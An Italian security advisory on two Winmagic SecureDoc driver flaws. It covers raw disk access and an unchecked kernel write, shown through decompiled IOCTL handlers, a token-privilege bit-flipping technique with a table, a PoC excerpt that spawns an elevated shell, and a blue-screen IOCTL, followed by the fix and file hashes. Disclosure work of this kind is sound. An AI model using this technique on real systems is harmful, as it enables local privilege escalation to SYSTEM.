Avendo effettuato il reverse engineering di alcuni gestori di servizi [IOCTL](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes) del driver "SDDisk2k.sys", è stato scoperto che uno di essi espone funzionalità critiche in modalità utente, permettendo operazioni di lettura e scrittura di settori raw arbitrari di un disco - per progettazione. Inoltre, interfacciandosi con questo stesso codice, si è notato che il driver ignora eventuali blocchi esclusivi che potrebbero essere stati impostati in precedenza su un disco. Di conseguenza, sono possibili operazioni di lettura/scrittura concorrenti, che facilitano race condition e rischi di perdita di dati.

Quello che segue mostra il gestore di servizi IOCTL decompilato del driver responsabile della gestione delle richieste di lettura dei settori raw del disco. Esso chiama una funzione sub_29CD4() con un argomento "controlled_buf", che è un puntatore a un buffer il cui contenuto può essere scelto arbitrariamente da qualsiasi applicazione in modalità utente chiamante:``` c
if ( ioctlcode == 0x8D1F2824 )   // <--- I/O control code for raw disk reading functionality
{
  controlled_buf = (unsigned __int8 *)controlled_addr;
  mode = 0;
  temp_result = sub_29CD4((char *)controlled_buf, v3, mode);   // <--- call to raw disk read function

// get object pointer of drive
if ( IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject) >= 0
  || (v12 = sub_2C5D4(&DestinationString, &DeviceObject), v12 >= 0) )
{
  // extract further fields from structure
  offset = *(_QWORD *)(p + 0x4E);                    // <--- where to start reading from
  length = *(_DWORD *)(p + 0x56);                    // <--- number of bytes to read
  ptr_buf = *(void **)(p + 0x5A);                    // <--- ptr to destination buffer
  devobj = DeviceObject;
  StartingOffset.QuadPart = offset << 9;
  KeInitializeEvent(&Event, NotificationEvent, 0);
  
  // build request
  v17 = IoBuildSynchronousFsdRequest(
          (unsigned int)(mode != 0) + IRP_MJ_READ,   // <--- issue read request
          devobj,
          ptr_buf,
          length << 9,
          &StartingOffset,
          &Event,
          &IoStatusBlock);
  v18 = v17;
  if ( v17 )
  {
    v19 = v17->Tail.Overlay.CurrentStackLocation;
    if ( mode )
      v19[0xFFFFFFFF].Flags |= 0x10u;
    ObfReferenceObject(devobj);

    // send request to respective device object (issue read request)
    v12 = IofCallDriver(devobj, v18);

Proprio come la lettura di settori raw del disco, la scrittura di settori del disco dalla modalità utente è resa possibile chiamando il gestore IOCTL 0x8D1F2820, che elabora la stessa struttura dati ed è implementato in modo simile. Data la compatibilità con il protocollo di questo driver, nulla impedirà ad applicazioni arbitrarie in modalità utente di compromettere completamente il Sistema Operativo. A meno che non sia protetto da un meccanismo di avvio sicuro, questo include persino l'installazione di software autorizzato a essere eseguito già durante il processo di avvio del sistema (ransomware, bootkit, implant personalizzati...).

### CVE-2020-11520
Un ulteriore esame dei gestori di servizio del driver "SDDisk2k.sys" ha rivelato che gli indirizzi di memoria provenienti da applicazioni in modalità utente vengono elaborati senza previa convalida. In alcuni casi, la memoria a cui questi puntatori accedono viene scritta ciecamente dal driver, cosa che può essere sfruttata dagli aggressori per creare primitive di scrittura nel kernel. Mentre tutte le primitive di scrittura consentono il controllo diretto di **dove** scrivere i dati, purtroppo non è stata trovata alcuna che permettesse il controllo diretto di **quali** dati scrivere. Con l'eccezione di [CVE-2020-11519](#cve-2020-11519), il cui sfruttamento in questo contesto richiederebbe un ulteriore passaggio attraverso operazioni di lettura/scrittura del disco, cosa che considero un approccio sporco e che quindi volevo evitare. Tuttavia, è stato identificato un gestore particolare che, ammetto, non permetteva di controllare i dati stessi, ma si è comunque rivelato abbastanza buono per essere riutilizzato con altri mezzi.

Il codice decompilato sottostante mostra il gestore di servizio del driver per il codice IOCTL 0x8d1f282c. Prende un numero intero a 16 bit "count" da un buffer controllato dall'utente, quindi assicura che non superi un certo limite. Infine, un puntatore "dst" viene acquisito dallo stesso buffer di input controllato, ma non viene mai verificato per la validità prima di essere passato come argomento a una successiva chiamata a memmove(). Con mia iniziale delusione, il buffer "src" passato come argomento a memmove() non è controllato, ma punta invece a una stringa hardcoded ("FRNSecureDoc v4.1\0"), il che limita la sua utilità per lo sfruttamento fino a un certo punto. Ovviamente, questo gestore di servizio scrive un identificatore di versione in un indirizzo specificabile dall'utente, che potrebbe altrettanto essere abusato per il fingerprinting di versioni vulnerabili di Winmagic SecurDoc.``` c
// handler for I/O control code 0x8d1f282c

// get "count" from controlled buffer
count = *((_WORD *)controlled_buf + 5);

// if count is zero, return error
if ( !count )
{
  *((_WORD *)controlled_buf + 5) = 0x13;
  goto leave_dispatcher;
}

// otherwise further sanitize and limit "count"
if ( count >= 0x12u )
  count = 0x11;

// bug! controlled pointer, passed from userland!
dst = *(void **)(controlled_buf + 2);
src = aFrnsecuredocV4;   // <--- 'FRNSecureDoc v4.1',0

// unchecked write!
memmove(dst, src, count);
goto leave_dispatcher;

La struttura SEP_TOKEN_PRIVILEGES è un insieme di bitmask con singoli bit che rappresentano ciascuno un flag di privilegio. Come conseguenza logica, chiedere gentilmente al driver SecureDoc di memorizzare parti della sua stringa di versione "FRNSecureDoc v4.1\0" nella struttura SEP_TOKEN_PRIVILEGES di un token di processo dovrebbe capovolgere alcuni bit e, si spera, abilitare privilegi utili, almeno ipoteticamente. Come si scopre, facendo memorizzare al driver i primi due caratteri della sua stringa di versione negli offset 1 e 2 del campo "Present" della struttura SEP_TOKEN_PRIVILEGE, vengono impostati diversi privilegi interessanti del token. Il carattere '**F**' preso da "**F**RNSecureDoc v4.1\0" equivale a 01000110 e quindi imposta il bit 9 (SeTakeOwnershipPrivilege), il bit 10 (SeLoadDriverPrivilege) e il bit 14 (SeIncreaseBasePriorityPrivilege) del campo "Present". Il carattere '**R**' equivale a 01010010, impostando il bit 17 (SeBackupPrivilege), il bit 20 (SeDebugPrivilege) e il bit 22 (SeSystemEnvironmentPrivilege):

| Bit No ("Present") | Carattere | Byte         | Privilegio |
| :--------------: | :-------: | ------------ | --------- |
| 8                | 'F'       | 0100011**0** | SeSecurityPrivilege |
| 9                | 'F'       | 010001**1**0 | **SeTakeOwnershipPrivilege** |
| 10               | 'F'       | 01000**1**10 | **SeLoadDriverPrivilege** |
| 11               | 'F'       | 0100**0**110 | SeSystemProfilePrivilege |
| 12               | 'F'       | 010**0**0110 | SeSystemtimePrivilege |
| 13               | 'F'       | 01**0**00110 | SeProfileSingleProcessPrivilege |
| 14               | 'F'       | 0**1**000110 | **SeIncreaseBasePriorityPrivilege** |
| 15               | 'F'       | **0**1000110 | SeCreatePagefilePrivilege |
| 16               | 'R'       | 0101001**0** | SeCreatePermanentPrivilege |
| 17               | 'R'       | 010100**1**0 | **SeBackupPrivilege** |
| 18               | 'R'       | 01010**0**10 | SeRestorePrivilege |
| 19               | 'R'       | 0101**0**010 | SeShutdownPrivilege |
| 20               | 'R'       | 010**1**0010 | **SeDebugPrivilege** |
| 21               | 'R'       | 01**0**10010 | SeAuditPrivilege |
| 22               | 'R'       | 0**1**010010 | **SeSystemEnvironmentPrivilege** |
| 23               | 'R'       | **0**1010010 | SeChangeNotifyPrivilege |

## Exploit Proof-of-Concept
Un [exploit proof-of-concept](https://github.com/patois/winmagic_sd/blob/master/sd_poc.py) è stato sviluppato in Python e debugato con l'aiuto del [debugger kernel WinDbg di Microsoft](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-toolsk) collegato a una VM Windows 10 x64.

Questo exploit PoC acquisisce l'indirizzo kernel del token di sicurezza del processo corrente e, tra gli altri, abilita il privilegio SeDebugPrivilege sfruttando le vulnerabilità descritte. Prosegue quindi generando una shell dei comandi che eredita i privilegi appena elevati del token.

Avere il flag SeDebugPrivilege impostato renderà possibile iniettare shellcode ed eseguirlo nel contesto di un processo SYSTEM - lascio comunque questa parte a te ;)``` python
token_addr = sdi.get_token_obj()
if not token_addr:
    print("[!] Could not get address of token")
    sdi.close()
    return

print("[+] Got token object: %x" % token_addr)
print("[+] Patching token")
sdi.acquire_debug_privs(token_addr)
sdi.close()

os.system("cmd.exe")

Il codice exploit PoC si trova [qui](https://github.com/patois/winmagic_sd/blob/HEAD/sd_poc.py). Ha come target la versione v8.5 di Winmagic SecureDoc x64 ma potrebbe funzionare su versioni precedenti (non testato).

Nel caso tu sia arrivato fin qui ma sei ancora molto annoiato, sentiti libero di invocare il codice IOCTL 0x8D1F2848 ;)``` c
case 0x8D1F2848:
  DbgPrint("SDDEV_IO_BLUE_SCREEN comes in ...");
  if ( *(_WORD *)controlled_buf == 0x55AA
    && *(_QWORD *)(controlled_buf + 2)
    && *((_WORD *)controlled_buf + 5) == 4 )
  {
    StartContext = ExAllocatePoolWithTag(PoolType, 4ui64, 'gaMW');
    if ( !StartContext )
    {
      KeSetPriorityThread(KeGetCurrentThread(), 0x1F);
      KeBugCheckEx(0xE2u, 0x2D8ui64, **(unsigned int **)(controlled_buf + 2), 0i64, 'WM');
    }
    DbgPrint("SDDEV_IO_BLUE_SCREEN preps ...");
    *StartContext = **(_DWORD **)(controlled_buf + 2);
    if ( PsCreateSystemThread(
            &ThreadHandle,
            0x1FFFFFu,
            0i64,
            0i64,
            0i64,
            (PKSTART_ROUTINE)sub_23948,
            StartContext) < 0 )
      ExFreePoolWithTag(StartContext, 0);
    else
      ZwClose(ThreadHandle);
  }

## Soluzione
Aggiornare a Winmagic SecureDoc v8.5 SR2 HF1.

## Checksum
| Nome file             | Versione | Hash (SHA-256) |
| -------------------- | ------- | -------------- |
| SDDisk2k.sys (64bit) | 8.3.717 | 98D29D28BB9552D20BC78EB0BD12A57B921167565F3E47919EC2D61F24DA9241 |
| SDDisk2k.sys (64bit) | 8.5.445 | 1D9054C4B49267EEF63B2EB11EC563E036F9E6E2AC18D32597FA769934BB7E18 |

## Riferimenti
1. [Abusare dei privilegi dei token per LPE](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)
2. [Sfruttare CVE-2014-4113 su Windows 8.1](http://jodeit.org/research/Exploiting_CVE-2014-4113_on_Windows_8.1.pdf)
3. [Sfruttamento facile del kernel Windows locale](https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)
4. [Ho 99 problemi ma un puntatore al kernel non è uno di questi](https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27t%20one.pdf)
5. [Sfruttare handle di processo e thread trapelati](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
6. [Discussione su Sourceforge sulla chiamata a NtQuerySystemInformation usando ctypes](https://sourceforge.net/p/ctypes/mailman/message/34578496/)
7. [Note di rilascio di SecureDoc v8.5SR2](https://www.winmagic.com/support/release-notes/securedoc-v8-5-sr2)